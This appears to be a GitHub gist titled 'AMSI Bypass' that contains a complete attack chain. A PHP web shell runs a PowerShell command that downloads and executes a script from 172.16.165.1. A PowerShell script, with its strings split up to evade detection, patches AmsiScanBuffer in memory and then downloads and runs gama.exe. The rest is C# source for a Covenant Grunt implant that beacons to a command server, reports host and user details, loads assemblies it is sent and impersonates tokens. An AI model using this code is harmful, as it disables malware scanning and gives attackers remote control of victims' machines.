Skip to content

Instantly share code, notes, and snippets.

@mmyyhack
Forked from kamakazix/alpha.php
Created December 14, 2022 01:51
Show Gist options
  • Select an option

  • Save mmyyhack/f2a99fcc448059eb3eeb85584cb84c4a to your computer and use it in GitHub Desktop.

Select an option

Save mmyyhack/f2a99fcc448059eb3eeb85584cb84c4a to your computer and use it in GitHub Desktop.
AMSI Bypass
<?php
function yolo() {
$payload = "powershell -nop -exec bypass -c IEX(New-Object Net.WebClient).DownloadString('http://172.16.165.1/beta.ps1')";
$execution_command = "shell_exec";
$query = $execution_command("$payload");
echo $query;
}
yolo();
die();
?>
$MethodDefinition = "
[DllImport(`"kernel32`")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport(`"kernel32`")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport(`"kernel32`")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
";
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$ABSD = 'A' + 'ms' + 'iS' + 'can' + 'Buf' + 'fer';
$handle = [Win32.Kernel32]::GetModuleHandle( 'am' + 'si.' + 'd' + 'll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD);
[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40;
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[PSObject].Assembly.GetType("System.Management.Automation.TypeAccelerators")::Add('dorsktork', [system.runtime.interopservices.marshal])
[dorsktork]::copy($buf, 0, $BufferAddress, 6);
Invoke-WebRequest 172.16.165.1/gama.exe -outfile gama.exe
.\gama.exe
using System;
using System.Net;
using System.Linq;
using System.Text;
using System.IO;
using System.IO.Pipes;
using System.IO.Compression;
using System.Threading;
using System.Reflection;
using System.Collections.Generic;
using System.Security.Principal;
using System.Security.Cryptography;
using System.Text.RegularExpressions;
namespace GruntExecutor
{
class Grunt
{
public static void Execute(string CovenantURI, string CovenantCertHash, string GUID, Aes SessionKey)
{
try
{
int Delay = Convert.ToInt32(@"{{REPLACE_DELAY}}");
int Jitter = Convert.ToInt32(@"{{REPLACE_JITTER_PERCENT}}");
int ConnectAttempts = Convert.ToInt32(@"{{REPLACE_CONNECT_ATTEMPTS}}");
DateTime KillDate = DateTime.FromBinary(long.Parse(@"{{REPLACE_KILL_DATE}}"));
List<string> ProfileHttpHeaderNames = @"{{REPLACE_PROFILE_HTTP_HEADER_NAMES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
List<string> ProfileHttpHeaderValues = @"{{REPLACE_PROFILE_HTTP_HEADER_VALUES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
List<string> ProfileHttpUrls = @"{{REPLACE_PROFILE_HTTP_URLS}}".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList();
string ProfileHttpGetResponse = @"{{REPLACE_PROFILE_HTTP_GET_RESPONSE}}".Replace(Environment.NewLine, "\n");
string ProfileHttpPostRequest = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}".Replace(Environment.NewLine, "\n");
string ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}".Replace(Environment.NewLine, "\n");
bool ValidateCert = bool.Parse(@"{{REPLACE_VALIDATE_CERT}}");
bool UseCertPinning = bool.Parse(@"{{REPLACE_USE_CERT_PINNING}}");
string Hostname = Dns.GetHostName();
string IPAddress = Dns.GetHostAddresses(Hostname)[0].ToString();
foreach (IPAddress a in Dns.GetHostAddresses(Dns.GetHostName()))
{
if (a.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)
{
IPAddress = a.ToString();
break;
}
}
string OperatingSystem = Environment.OSVersion.ToString();
string Process = System.Diagnostics.Process.GetCurrentProcess().ProcessName;
int Integrity = 2;
if (Environment.UserName.ToLower() == "system")
{
Integrity = 4;
}
else
{
var identity = WindowsIdentity.GetCurrent();
if (identity.Owner != identity.User)
{
Integrity = 3;
}
}
string UserDomainName = Environment.UserDomainName;
string UserName = Environment.UserName;
string RegisterBody = @"{ ""integrity"": " + Integrity + @", ""process"": """ + Process + @""", ""userDomainName"": """ + UserDomainName + @""", ""userName"": """ + UserName + @""", ""delay"": " + Convert.ToString(Delay) + @", ""jitter"": " + Convert.ToString(Jitter) + @", ""connectAttempts"": " + Convert.ToString(ConnectAttempts) + @", ""status"": 0, ""ipAddress"": """ + IPAddress + @""", ""hostname"": """ + Hostname + @""", ""operatingSystem"": """ + OperatingSystem + @""" }";
IMessenger baseMessenger = null;
baseMessenger = new HttpMessenger(CovenantURI, CovenantCertHash, UseCertPinning, ValidateCert, ProfileHttpHeaderNames, ProfileHttpHeaderValues, ProfileHttpUrls);
baseMessenger.Read();
baseMessenger.Identifier = GUID;
TaskingMessenger messenger = new TaskingMessenger
(
new MessageCrafter(GUID, SessionKey),
baseMessenger,
new Profile(ProfileHttpGetResponse, ProfileHttpPostRequest, ProfileHttpPostResponse)
);
messenger.WriteTaskingMessage(RegisterBody);
messenger.SetAuthenticator(messenger.ReadTaskingMessage().Message);
try
{
// A blank upward write, this helps in some cases with an HTTP Proxy
messenger.WriteTaskingMessage("");
}
catch (Exception) {}
List<KeyValuePair<string, Thread>> Jobs = new List<KeyValuePair<string, Thread>>();
WindowsImpersonationContext impersonationContext = null;
Random rnd = new Random();
int ConnectAttemptCount = 0;
bool alive = true;
while (alive)
{
int change = rnd.Next((int)Math.Round(Delay * (Jitter / 100.00)));
if (rnd.Next(2) == 0) { change = -change; }
Thread.Sleep((Delay + change) * 1000);
try
{
GruntTaskingMessage message = messenger.ReadTaskingMessage();
if (message != null)
{
ConnectAttemptCount = 0;
string output = "";
if (message.Type == GruntTaskingType.SetOption)
{
string[] split = message.Message.Split(',');
if (split.Length >= 2 && int.TryParse(split[1], out int val))
{
if (split[0].Equals("Delay", StringComparison.CurrentCultureIgnoreCase))
{
Delay = val;
output += "Set Delay: " + Delay;
}
else if (split[0].Equals("JitterPercent", StringComparison.CurrentCultureIgnoreCase))
{
Jitter = val;
output += "Set JitterPercent: " + Jitter;
}
else if (split[0].Equals("ConnectAttempts", StringComparison.CurrentCultureIgnoreCase))
{
ConnectAttempts = val;
output += "Set ConnectAttempts: " + ConnectAttempts;
}
}
else
{
output += "Error parsing SetOption: " + message.Message;
}
messenger.WriteTaskingMessage(output, message.Name);
}
else if (message.Type == GruntTaskingType.Exit)
{
output += "Exited";
messenger.WriteTaskingMessage(output, message.Name);
return;
}
else if(message.Type == GruntTaskingType.Jobs)
{
if (!Jobs.Where(J => J.Value.IsAlive).Any()) { output += "No active tasks!"; }
else
{
output += "Task Status" + Environment.NewLine;
output += "---- ------" + Environment.NewLine;
output += String.Join(Environment.NewLine, Jobs.Where(J => J.Value.IsAlive).Select(J => J.Key + " Active").ToArray());
}
messenger.WriteTaskingMessage(output, message.Name);
}
else if (message.Token)
{
if (impersonationContext != null)
{
impersonationContext.Undo();
}
IntPtr impersonatedToken = IntPtr.Zero;
impersonatedToken = TaskExecute(messenger, message);
if (impersonatedToken != IntPtr.Zero)
{
try
{
WindowsIdentity identity = new WindowsIdentity(impersonatedToken);
impersonationContext = identity.Impersonate();
}
catch (ArgumentException) { }
}
else
{
impersonationContext = null;
}
}
else
{
Thread t = new Thread(() => TaskExecute(messenger, message));
t.Start();
Jobs.Add(new KeyValuePair<string, Thread>(message.Name, t));
}
}
}
catch (ObjectDisposedException e)
{
ConnectAttemptCount++;
messenger.WriteTaskingMessage("");
}
catch (Exception e)
{
ConnectAttemptCount++;
Console.Error.WriteLine("Loop Exception: " + e.GetType().ToString() + " " + e.Message + Environment.NewLine + e.StackTrace);
}
if (ConnectAttemptCount >= ConnectAttempts) { return; }
if (KillDate.CompareTo(DateTime.Now) < 0) { return; }
}
}
catch (Exception e) {
Console.Error.WriteLine("Outer Exception: " + e.Message + Environment.NewLine + e.StackTrace);
}
}
private static IntPtr TaskExecute(TaskingMessenger messenger, GruntTaskingMessage message)
{
string output = "";
try
{
if (message.Type == GruntTaskingType.Assembly)
{
string[] pieces = message.Message.Split(',');
if (pieces.Length > 0)
{
object[] parameters = null;
if (pieces.Length > 1) { parameters = new object[pieces.Length - 1]; }
for (int i = 1; i < pieces.Length; i++) { parameters[i - 1] = Encoding.UTF8.GetString(Convert.FromBase64String(pieces[i])); }
byte[] compressedBytes = Convert.FromBase64String(pieces[0]);
byte[] decompressedBytes = Utilities.Decompress(compressedBytes);
Assembly gruntTask = Assembly.Load(decompressedBytes);
var results = gruntTask.GetType("Task").GetMethod("Execute").Invoke(null, parameters);
if (results != null) { output += (string)results; }
}
}
else if (message.Type == GruntTaskingType.Connect)
{
string[] split = message.Message.Split(',');
bool connected = messenger.Connect(split[0], split[1]);
output += connected ? "Connection to " + split[0] + ":" + split[1] + " succeeded!" :
"Connection to " + split[0] + ":" + split[1] + " failed.";
}
else if (message.Type == GruntTaskingType.Disconnect)
{
bool disconnected = messenger.Disconnect(message.Message);
output += disconnected ? "Disconnect succeeded!" : "Disconnect failed.";
}
}
catch (Exception e)
{
output += "Task Exception: " + e.Message + Environment.NewLine + e.StackTrace;
}
finally
{
try
{
messenger.WriteTaskingMessage(output, message.Name);
}
catch (Exception) { }
}
return WindowsIdentity.GetCurrent().Token;
}
}
public interface IMessenger
{
string Hostname { get; }
string Identifier { get; set; }
string Authenticator { get; set; }
string Read();
void Write(string Message);
void Close();
}
public class Profile
{
private string GetResponse { get; }
private string PostRequest { get; }
private string PostResponse { get; }
public Profile(string GetResponse, string PostRequest, string PostResponse)
{
this.GetResponse = GetResponse;
this.PostRequest = PostRequest;
this.PostResponse = PostResponse;
}
public GruntEncryptedMessage ParseGetResponse(string Message) { return Parse(this.GetResponse, Message); }
public GruntEncryptedMessage ParsePostRequest(string Message) { return Parse(this.PostRequest, Message); }
public GruntEncryptedMessage ParsePostResponse(string Message) { return Parse(this.PostResponse, Message); }
public string FormatGetResponse(GruntEncryptedMessage Message) { return Format(this.GetResponse, Message); }
public string FormatPostRequest(GruntEncryptedMessage Message) { return Format(this.PostRequest, Message); }
public string FormatPostResponse(GruntEncryptedMessage Message) { return Format(this.PostResponse, Message); }
private static GruntEncryptedMessage Parse(string Format, string Message)
{
string json = Common.GruntEncoding.GetString(Utilities.MessageTransform.Invert(
Utilities.Parse(Message, Format)[0]
));
if (json == null || json.Length < 3)
{
return null;
}
return GruntEncryptedMessage.FromJson(json);
}
private static string Format(string Format, GruntEncryptedMessage Message)
{
return String.Format(Format,
Utilities.MessageTransform.Transform(Common.GruntEncoding.GetBytes(GruntEncryptedMessage.ToJson(Message)))
);
}
}
public class TaskingMessenger
{
private object _UpstreamLock = new object();
private IMessenger UpstreamMessenger { get; set; }
private MessageCrafter Crafter { get; }
private Profile Profile { get; }
protected List<IMessenger> DownstreamMessengers { get; } = new List<IMessenger>();
public TaskingMessenger(MessageCrafter Crafter, IMessenger Messenger, Profile Profile)
{
this.Crafter = Crafter;
this.UpstreamMessenger = Messenger;
this.Profile = Profile;
}
public GruntTaskingMessage ReadTaskingMessage()
{
// TODO: why does this need to be PostResponse?
string read = "";
lock (_UpstreamLock)
{
read = this.UpstreamMessenger.Read();
}
if (read == null)
{
return null;
}
GruntEncryptedMessage gruntMessage = this.Profile.ParsePostResponse(read);
if (gruntMessage == null)
{
return null;
}
else if (gruntMessage.Type == GruntEncryptedMessage.GruntEncryptedMessageType.Tasking)
{
string json = this.Crafter.Retrieve(gruntMessage);
return (json == null || json == "") ? null : GruntTaskingMessage.FromJson(json);
}
else
{
string json = this.Crafter.Retrieve(gruntMessage);
GruntEncryptedMessage wrappedMessage = GruntEncryptedMessage.FromJson(json);
IMessenger relay = this.DownstreamMessengers.FirstOrDefault(DM => DM.Identifier == wrappedMessage.GUID);
if (relay != null)
{
// TODO: why does this need to be PostResponse?
relay.Write(this.Profile.FormatPostResponse(wrappedMessage));
}
return null;
}
}
public void WriteTaskingMessage(string Message, string Meta = "")
{
GruntEncryptedMessage gruntMessage = this.Crafter.Create(Message, Meta);
string uploaded = this.Profile.FormatPostRequest(gruntMessage);
lock (this._UpstreamLock)
{
this.UpstreamMessenger.Write(uploaded);
}
}
public void SetAuthenticator(string Authenticator)
{
lock (this._UpstreamLock)
{
this.UpstreamMessenger.Authenticator = Authenticator;
}
}
public bool Connect(string Hostname, string PipeName)
{
IMessenger olddownstream = this.DownstreamMessengers.FirstOrDefault(DM => DM.Hostname.ToLower() == (Hostname + ":" + PipeName).ToLower());
if (olddownstream != null)
{
olddownstream.Close();
this.DownstreamMessengers.Remove(olddownstream);
}
SMBMessenger downstream = new SMBMessenger(Hostname, PipeName);
Thread readThread = new Thread(() =>
{
while (true)
{
try
{
string read = downstream.Read();
if (downstream.Identifier == "")
{
GruntEncryptedMessage message = this.Profile.ParsePostRequest(read);
if (message.GUID.Length == 20)
{
downstream.Identifier = message.GUID.Substring(10);
}
else if (message.GUID.Length == 10)
{
downstream.Identifier = message.GUID;
}
}
this.UpstreamMessenger.Write(read);
}
catch (ThreadAbortException)
{
return;
}
catch (Exception e)
{
Console.Error.WriteLine("Thread Exception: " + e.Message + Environment.NewLine + e.StackTrace);
}
}
});
downstream.ReadThread = readThread;
downstream.ReadThread.Start();
this.DownstreamMessengers.Add(downstream);
return true;
}
public bool Disconnect(string Identifier)
{
IMessenger downstream = this.DownstreamMessengers.FirstOrDefault(DM => DM.Identifier.ToLower() == Identifier.ToLower());
if (downstream != null)
{
downstream.Close();
this.DownstreamMessengers.Remove(downstream);
return true;
}
return false;
}
}
public class SMBMessenger : IMessenger
{
public string Hostname { get; } = "";
public string Identifier { get; set; } = "";
public string Authenticator { get; set; } = "";
private object _WritePipeLock = new object();
private PipeStream Pipe { get; set; }
private string PipeName { get; }
public Thread ReadThread { get; set; } = null;
public SMBMessenger(NamedPipeServerStream ServerPipe, string PipeName)
{
this.PipeName = PipeName;
this.Hostname = "localhost:" + PipeName;
this.Pipe = ServerPipe;
new Thread(() =>
{
while (true)
{
try
{
PipeSecurity ps = new PipeSecurity();
ps.AddAccessRule(new PipeAccessRule("Everyone", PipeAccessRights.FullControl, System.Security.AccessControl.AccessControlType.Allow));
NamedPipeServerStream newServerPipe = new NamedPipeServerStream(this.PipeName, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Byte, PipeOptions.Asynchronous, 1024, 1024, ps);
newServerPipe.WaitForConnection();
lock (this._WritePipeLock)
{
this.Pipe.Close();
this.Pipe = newServerPipe;
}
}
catch (Exception e)
{
Console.Error.WriteLine("NamedPipeServer Exception: " + e.Message + Environment.NewLine + e.StackTrace);
}
}
}).Start();
}
public SMBMessenger(string Hostname, string PipeName = "gruntsvc", int Timeout = 5000)
{
this.Hostname = Hostname;
this.PipeName = PipeName;
NamedPipeClientStream ClientPipe = new NamedPipeClientStream(Hostname, this.PipeName, PipeDirection.InOut, PipeOptions.Asynchronous);
ClientPipe.Connect(Timeout);
ClientPipe.ReadMode = PipeTransmissionMode.Byte;
this.Pipe = ClientPipe;
}
public string Read()
{
return Common.GruntEncoding.GetString(this.ReadBytes());
}
public void Write(string Message)
{
this.WriteBytes(Common.GruntEncoding.GetBytes(Message));
}
public void Close()
{
lock (this._WritePipeLock)
{
this.Pipe.Close();
}
if (ReadThread != null)
{
this.ReadThread.Abort();
}
}
private void WriteBytes(byte[] bytes)
{
lock (this._WritePipeLock)
{
byte[] compressed = Utilities.Compress(bytes);
byte[] size = new byte[4];
size[0] = (byte)(compressed.Length >> 24);
size[1] = (byte)(compressed.Length >> 16);
size[2] = (byte)(compressed.Length >> 8);
size[3] = (byte)compressed.Length;
this.Pipe.Write(size, 0, size.Length);
var writtenBytes = 0;
while (writtenBytes < compressed.Length)
{
int bytesToWrite = Math.Min(compressed.Length - writtenBytes, 1024);
this.Pipe.Write(compressed, writtenBytes, bytesToWrite);
writtenBytes += bytesToWrite;
}
}
}
private byte[] ReadBytes()
{
byte[] size = new byte[4];
int totalReadBytes = 0;
do
{
totalReadBytes += this.Pipe.Read(size, 0, size.Length);
} while (totalReadBytes < size.Length);
int len = (size[0] << 24) + (size[1] << 16) + (size[2] << 8) + size[3];
byte[] buffer = new byte[1024];
using (var ms = new MemoryStream())
{
totalReadBytes = 0;
int readBytes = 0;
do
{
readBytes = this.Pipe.Read(buffer, 0, buffer.Length);
ms.Write(buffer, 0, readBytes);
totalReadBytes += readBytes;
} while (totalReadBytes < len);
return Utilities.Decompress(ms.ToArray());
}
}
}
public class HttpMessenger : IMessenger
{
public string Hostname { get; } = "";
public string Identifier { get; set; } = "";
public string Authenticator { get; set; } = "";
private string CovenantURI { get; }
private CookieWebClient CovenantClient { get; set; } = new CookieWebClient();
private object _WebClientLock = new object();
private Random Random { get; set; } = new Random();
private List<string> ProfileHttpHeaderNames { get; }
private List<string> ProfileHttpHeaderValues { get; }
private List<string> ProfileHttpUrls { get; }
private bool UseCertPinning { get; set; }
private bool ValidateCert { get; set; }
private string ToReadValue { get; set; } = "";
public HttpMessenger(string CovenantURI, string CovenantCertHash, bool UseCertPinning, bool ValidateCert, List<string> ProfileHttpHeaderNames, List<string> ProfileHttpHeaderValues, List<string> ProfileHttpUrls)
{
this.CovenantURI = CovenantURI;
this.Hostname = CovenantURI.Split(':')[1].Split('/')[2];
this.ProfileHttpHeaderNames = ProfileHttpHeaderNames;
this.ProfileHttpHeaderValues = ProfileHttpHeaderValues;
this.ProfileHttpUrls = ProfileHttpUrls;
this.CovenantClient.UseDefaultCredentials = true;
this.CovenantClient.Proxy = WebRequest.DefaultWebProxy;
this.CovenantClient.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
this.UseCertPinning = UseCertPinning;
this.ValidateCert = ValidateCert;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) =>
{
bool valid = true;
if (this.UseCertPinning && CovenantCertHash != "")
{
valid = cert.GetCertHashString() == CovenantCertHash;
}
if (valid && this.ValidateCert)
{
valid = errors == System.Net.Security.SslPolicyErrors.None;
}
return valid;
};
}
public string Read()
{
if (ToReadValue != "")
{
string temp = ToReadValue;
ToReadValue = "";
return temp;
}
lock (this._WebClientLock)
{
this.SetupCookieWebClient();
return this.CovenantClient.DownloadString(this.CovenantURI + this.GetURL());
}
}
public void Write(string Message)
{
lock (this._WebClientLock)
{
this.SetupCookieWebClient();
this.ToReadValue = this.CovenantClient.UploadString(this.CovenantURI + this.GetURL(), Message);
}
}
public void Close() { }
private string GetURL()
{
return this.ProfileHttpUrls[this.Random.Next(this.ProfileHttpUrls.Count)].Replace("{GUID}", this.Identifier);
}
private void SetupCookieWebClient()
{
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
{
this.CovenantClient.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", this.Identifier), ProfileHttpHeaderValues[i].Replace("{GUID}", this.Identifier));
if (ProfileHttpHeaderNames[i] == "Cookies")
{
this.CovenantClient.SetCookies(new Uri(this.CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ","));
}
}
}
}
public class MessageCrafter
{
private string GUID { get; }
private Aes SessionKey { get; }
public MessageCrafter(string GUID, Aes SessionKey)
{
this.GUID = GUID;
this.SessionKey = SessionKey;
}
public GruntEncryptedMessage Create(string Message, string Meta = "")
{
return this.Create(Common.GruntEncoding.GetBytes(Message), Meta);
}
public GruntEncryptedMessage Create(byte[] Message, string Meta = "")
{
byte[] encryptedMessagePacket = Utilities.AesEncrypt(Message, this.SessionKey.Key);
byte[] encryptionIV = new byte[Common.AesIVLength];
Buffer.BlockCopy(encryptedMessagePacket, 0, encryptionIV, 0, Common.AesIVLength);
byte[] encryptedMessage = new byte[encryptedMessagePacket.Length - Common.AesIVLength];
Buffer.BlockCopy(encryptedMessagePacket, Common.AesIVLength, encryptedMessage, 0, encryptedMessagePacket.Length - Common.AesIVLength);
byte[] hmac = Utilities.ComputeHMAC(encryptedMessage, SessionKey.Key);
return new GruntEncryptedMessage
{
GUID = this.GUID,
Meta = Meta,
EncryptedMessage = Convert.ToBase64String(encryptedMessage),
IV = Convert.ToBase64String(encryptionIV),
HMAC = Convert.ToBase64String(hmac)
};
}
public string Retrieve(GruntEncryptedMessage message)
{
if (message == null || !message.VerifyHMAC(this.SessionKey.Key))
{
return null;
}
return Common.GruntEncoding.GetString(Utilities.AesDecrypt(message, SessionKey.Key));
}
}
public class CookieWebClient : WebClient
{
private CookieContainer CookieContainer { get; }
public CookieWebClient()
{
this.CookieContainer = new CookieContainer();
}
public void SetCookies(Uri uri, string cookies)
{
this.CookieContainer.SetCookies(uri, cookies);
}
protected override WebRequest GetWebRequest(Uri address)
{
var request = base.GetWebRequest(address) as HttpWebRequest;
if (request == null) return base.GetWebRequest(address);
request.CookieContainer = CookieContainer;
return request;
}
}
public enum GruntTaskingType
{
Assembly,
SetOption,
Exit,
Connect,
Disconnect,
Jobs
}
public class GruntTaskingMessage
{
public GruntTaskingType Type { get; set; }
public string Name { get; set; }
public string Message { get; set; }
public bool Token { get; set; }
private static string GruntTaskingMessageFormat = @"{{""type"":""{0}"",""name"":""{1}"",""message"":""{2}"",""token"":{3}}}";
public static GruntTaskingMessage FromJson(string message)
{
List<string> parseList = Utilities.Parse(message, GruntTaskingMessageFormat.Replace("{{", "{").Replace("}}", "}"));
if (parseList.Count < 3) { return null; }
return new GruntTaskingMessage
{
Type = (GruntTaskingType) Enum.Parse(typeof(GruntTaskingType), parseList[0], true),
Name = parseList[1],
Message = parseList[2],
Token = Convert.ToBoolean(parseList[3])
};
}
public static string ToJson(GruntTaskingMessage message)
{
return String.Format(
GruntTaskingMessageFormat,
message.Type.ToString("D"),
Utilities.JavaScriptStringEncode(message.Name),
Utilities.JavaScriptStringEncode(message.Message),
message.Token
);
}
}
public class GruntEncryptedMessage
{
public enum GruntEncryptedMessageType
{
Routing,
Tasking
}
public string GUID { get; set; } = "";
public GruntEncryptedMessageType Type { get; set; }
public string Meta { get; set; } = "";
public string IV { get; set; } = "";
public string EncryptedMessage { get; set; } = "";
public string HMAC { get; set; } = "";
public bool VerifyHMAC(byte[] Key)
{
if (EncryptedMessage == "" || HMAC == "" || Key.Length == 0) { return false; }
try
{
var hashedBytes = Convert.FromBase64String(this.EncryptedMessage);
return Utilities.VerifyHMAC(hashedBytes, Convert.FromBase64String(this.HMAC), Key);
}
catch
{
return false;
}
}
private static string GruntEncryptedMessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";
public static GruntEncryptedMessage FromJson(string message)
{
List<string> parseList = Utilities.Parse(message, GruntEncryptedMessageFormat.Replace("{{", "{").Replace("}}", "}"));
if (parseList.Count < 5) { return null; }
return new GruntEncryptedMessage
{
GUID = parseList[0],
Type = (GruntEncryptedMessageType)int.Parse(parseList[1]),
Meta = parseList[2],
IV = parseList[3],
EncryptedMessage = parseList[4],
HMAC = parseList[5]
};
}
public static string ToJson(GruntEncryptedMessage message)
{
return String.Format(
GruntEncryptedMessageFormat,
Utilities.JavaScriptStringEncode(message.GUID),
message.Type.ToString("D"),
Utilities.JavaScriptStringEncode(message.Meta),
Utilities.JavaScriptStringEncode(message.IV),
Utilities.JavaScriptStringEncode(message.EncryptedMessage),
Utilities.JavaScriptStringEncode(message.HMAC)
);
}
}
public static class Common
{
public static int AesIVLength = 16;
public static CipherMode AesCipherMode = CipherMode.CBC;
public static PaddingMode AesPaddingMode = PaddingMode.PKCS7;
public static Encoding GruntEncoding = Encoding.UTF8;
}
public static class Utilities
{
// Returns IV (16 bytes) + EncryptedData byte array
public static byte[] AesEncrypt(byte[] data, byte[] key)
{
Aes SessionKey = Aes.Create();
SessionKey.Mode = Common.AesCipherMode;
SessionKey.Padding = Common.AesPaddingMode;
SessionKey.GenerateIV();
SessionKey.Key = key;
byte[] encrypted = SessionKey.CreateEncryptor().TransformFinalBlock(data, 0, data.Length);
byte[] result = new byte[SessionKey.IV.Length + encrypted.Length];
Buffer.BlockCopy(SessionKey.IV, 0, result, 0, SessionKey.IV.Length);
Buffer.BlockCopy(encrypted, 0, result, SessionKey.IV.Length, encrypted.Length);
return result;
}
// Data should be of format: IV (16 bytes) + EncryptedBytes
public static byte[] AesDecrypt(byte[] data, byte[] key)
{
Aes SessionKey = Aes.Create();
byte[] iv = new byte[Common.AesIVLength];
Buffer.BlockCopy(data, 0, iv, 0, Common.AesIVLength);
SessionKey.IV = iv;
SessionKey.Key = key;
byte[] encryptedData = new byte[data.Length - Common.AesIVLength];
Buffer.BlockCopy(data, Common.AesIVLength, encryptedData, 0, data.Length - Common.AesIVLength);
byte[] decrypted = SessionKey.CreateDecryptor().TransformFinalBlock(encryptedData, 0, encryptedData.Length);
return decrypted;
}
// Convenience method for decrypting an EncryptedMessagePacket
public static byte[] AesDecrypt(GruntEncryptedMessage encryptedMessage, byte[] key)
{
byte[] iv = Convert.FromBase64String(encryptedMessage.IV);
byte[] encrypted = Convert.FromBase64String(encryptedMessage.EncryptedMessage);
byte[] combined = new byte[iv.Length + encrypted.Length];
Buffer.BlockCopy(iv, 0, combined, 0, iv.Length);
Buffer.BlockCopy(encrypted, 0, combined, iv.Length, encrypted.Length);
return AesDecrypt(combined, key);
}
public static byte[] ComputeHMAC(byte[] data, byte[] key)
{
HMACSHA256 SessionHmac = new HMACSHA256(key);
return SessionHmac.ComputeHash(data);
}
public static bool VerifyHMAC(byte[] hashedBytes, byte[] hash, byte[] key)
{
HMACSHA256 hmac = new HMACSHA256(key);
byte[] calculatedHash = hmac.ComputeHash(hashedBytes);
// Should do double hmac?
return Convert.ToBase64String(calculatedHash) == Convert.ToBase64String(hash);
}
public static byte[] Compress(byte[] bytes)
{
byte[] compressedBytes;
using (MemoryStream memoryStream = new MemoryStream())
{
using (DeflateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Compress))
{
deflateStream.Write(bytes, 0, bytes.Length);
}
compressedBytes = memoryStream.ToArray();
}
return compressedBytes;
}
public static byte[] Decompress(byte[] compressed)
{
using (MemoryStream inputStream = new MemoryStream(compressed.Length))
{
inputStream.Write(compressed, 0, compressed.Length);
inputStream.Seek(0, SeekOrigin.Begin);
using (MemoryStream outputStream = new MemoryStream())
{
using (DeflateStream deflateStream = new DeflateStream(inputStream, CompressionMode.Decompress))
{
byte[] buffer = new byte[4096];
int bytesRead;
while ((bytesRead = deflateStream.Read(buffer, 0, buffer.Length)) != 0)
{
outputStream.Write(buffer, 0, bytesRead);
}
}
return outputStream.ToArray();
}
}
}
public static List<string> Parse(string data, string format)
{
format = Regex.Escape(format).Replace("\\{", "{");
string name0, name1, name2, name3, name4, name5;
name0 = "(?'g" + "ro" + "up" + "0'.*)";
name1 = "(?'g" + "ro" + "up" + "1'.*)";
name2 = "(?'g" + "ro" + "up" + "2'.*)";
name3 = "(?'g" + "ro" + "up" + "3'.*)";
name4 = "(?'g" + "ro" + "up" + "4'.*)";
name5 = "(?'g" + "ro" + "up" + "5'.*)";
if (format.Contains("{0}")) { format = format.Replace("{0}", name0); }
if (format.Contains("{1}")) { format = format.Replace("{1}", name1); }
if (format.Contains("{2}")) { format = format.Replace("{2}", name2); }
if (format.Contains("{3}")) { format = format.Replace("{3}", name3); }
if (format.Contains("{4}")) { format = format.Replace("{4}", name4); }
if (format.Contains("{5}")) { format = format.Replace("{5}", name5); }
Match match = new Regex(format).Match(data);
List<string> matches = new List<string>();
if (match.Groups["g"+"ro"+"up"+"0"] != null) { matches.Add(match.Groups["g"+"ro"+"up"+"0"].Value); }
if (match.Groups["g"+"ro"+"up"+"1"] != null) { matches.Add(match.Groups["g"+"ro"+"up"+"1"].Value); }
if (match.Groups["g"+"ro"+"up"+"2"] != null) { matches.Add(match.Groups["g"+"ro"+"up"+"2"].Value); }
if (match.Groups["g"+"ro"+"up"+"3"] != null) { matches.Add(match.Groups["g"+"ro"+"up"+"3"].Value); }
if (match.Groups["g"+"ro"+"up"+"4"] != null) { matches.Add(match.Groups["g"+"ro"+"up"+"4"].Value); }
if (match.Groups["g"+"ro"+"up"+"5"] != null) { matches.Add(match.Groups["g"+"ro"+"up"+"5"].Value); }
return matches;
}
// Adapted from https://github.com/mono/mono/blob/master/mcs/class/System.Web/System.Web/HttpUtility.cs
public static string JavaScriptStringEncode(string value)
{
if (String.IsNullOrEmpty(value)) { return String.Empty; }
int len = value.Length;
bool needEncode = false;
char c;
for (int i = 0; i < len; i++)
{
c = value[i];
if (c >= 0 && c <= 31 || c == 34 || c == 39 || c == 60 || c == 62 || c == 92)
{
needEncode = true;
break;
}
}
if (!needEncode) { return value; }
var sb = new StringBuilder();
for (int i = 0; i < len; i++)
{
c = value[i];
if (c >= 0 && c <= 7 || c == 11 || c >= 14 && c <= 31 || c == 39 || c == 60 || c == 62)
{
sb.AppendFormat("\\u{0:x4}", (int)c);
}
else
{
switch ((int)c)
{
case 8:
sb.Append("\\b");
break;
case 9:
sb.Append("\\t");
break;
case 10:
sb.Append("\\n");
break;
case 12:
sb.Append("\\f");
break;
case 13:
sb.Append("\\r");
break;
case 34:
sb.Append("\\\"");
break;
case 92:
sb.Append("\\\\");
break;
default:
sb.Append(c);
break;
}
}
}
